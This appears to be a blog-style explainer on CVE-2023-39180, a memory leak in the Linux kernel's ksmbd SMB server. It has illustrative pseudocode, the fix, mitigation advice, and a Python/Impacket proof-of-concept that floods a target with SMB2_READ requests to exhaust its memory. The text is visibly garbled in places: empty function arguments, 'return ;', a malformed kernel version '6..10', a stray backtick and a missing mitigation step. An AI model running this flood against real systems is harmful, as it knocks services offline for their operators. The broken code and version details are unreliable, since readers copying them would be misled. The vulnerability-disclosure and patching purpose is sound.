---

The Linux kernel is at the core of many servers and workstations around the world. With the adoption of network file sharing through SMB (Server Message Block), Linux introduced its own in-kernel SMB server called ksmbd. While ksmbd brings better performance and native integration, it is not immune to vulnerabilities. One of the recent and critical flaws found is CVE-2023-39180 – a memory leak in the handling of SMB2_READ commands that can be leveraged to exhaust system memory, resulting in a denial-of-service (DoS) state.

In this long read, we'll break down the discovery, impact, exploitation, and practical details about this vulnerability in simple terms, backed by code snippets and references.

What Is CVE-2023-39180?

Discovered in August 2023, CVE-2023-39180 is a memory leak vulnerability in the Linux kernel's ksmbd module. The problem stems from the way SMB2_READ commands are managed. When an attacker sends repeated SMB2_READ requests to a ksmbd-enabled Linux machine, the kernel does not free up the memory after finishing each read operation. This leads to an accumulation of unreleased memory, which can easily be exploited by attackers to crash the system by consuming all available resources.

Authentication is not required, which makes public-facing systems especially vulnerable. However, only systems with the ksmbd service enabled are impacted.

Technical Breakdown

Let’s get into the technical root of the problem.

When an SMB client issues an SMB2_READ request, ksmbd allocates kernel memory to complete the request. Normally, after responding to the client, this memory should be freed. The vulnerability lies in missing or incorrect memory deallocation.

Here’s a simplified (pseudo)code snippet inspired by the vulnerable ksmbd code

int smb2_read(struct ksmbd_work *work)
{
    // ...[input validation and setup]

    char *buffer = kmalloc(requested_length, GFP_KERNEL);
    if (!buffer)
        return -ENOMEM;

    // Read data into buffer and send over the network
    vfs_read(..., buffer, ...);

    smb_send_response(work, buffer, requested_length);
    
    // OOPS: Missing kfree(buffer) here!

    return ;
}

Notice that after calling smb_send_response(), the allocated memory (buffer) is never freed if the flow returns early or on certain error paths.

Over time—or when hammered by lots of SMB2_READ requests—this results in an ever-growing pool of "lost" memory, eventually causing the whole Linux box to slow down, become unresponsive, or crash.

Actual Upstream Fix

The patch (see Upstream commit) addresses this by properly freeing allocated memory:

    kfree(buffer);

Proof-of-Concept (PoC) Exploit

To demonstrate the vulnerability, security researchers crafted a Python script using the Impacket SMB library.

WARNING: Do not run this on production systems.

from impacket.smbconnection import SMBConnection

target_ip = "192.168.1.100"
port = 445

while True:
    try:
        conn = SMBConnection(target_ip, target_ip, sess_port=port)
        tid = conn.tree_connect_andx('\\\\%s\\share' % target_ip)
        file_id = conn.create(tid, 'test.txt')
        # Issue repeated SMB2_READ requests
        for _ in range(100):
            conn.read(tid, file_id, , 4096)
        conn.close()
    except Exception as e:
        print(f"Connection failed: {e}")

Let this script run—memory usage on the target will keep climbing. Soon, your Linux system will be locked up from low memory.

Update your kernel

- Ensure you are running a kernel version with the ksmbd patch applied (Linux 5.15.90, 5.19.17, 6..10, 6.1 and later).
- See the commit for patch reference.

`

- Or, add blacklist ksmbd in /etc/modprobe.d/blacklist.conf.

Further Reading and References

- CVE-2023-39180 at NVD
- Official Linux kernel patch
- Impacket SMB Library
- ksmbd upstream repo
- ksmbd documentation

Conclusion

CVE-2023-39180 is a great reminder that even mature, high-performance kernel features can sometimes suffer from basic programming oversights like forgetting to free memory. If you run Linux servers with ksmbd enabled, patch immediately or ensure the service is not publicly reachable. A denial-of-service without authentication is a big risk, and not one to take lightly.

Timeline

Published on: 11/18/2024 10:15:05 UTC
Last modified on: 11/18/2024 17:11:17 UTC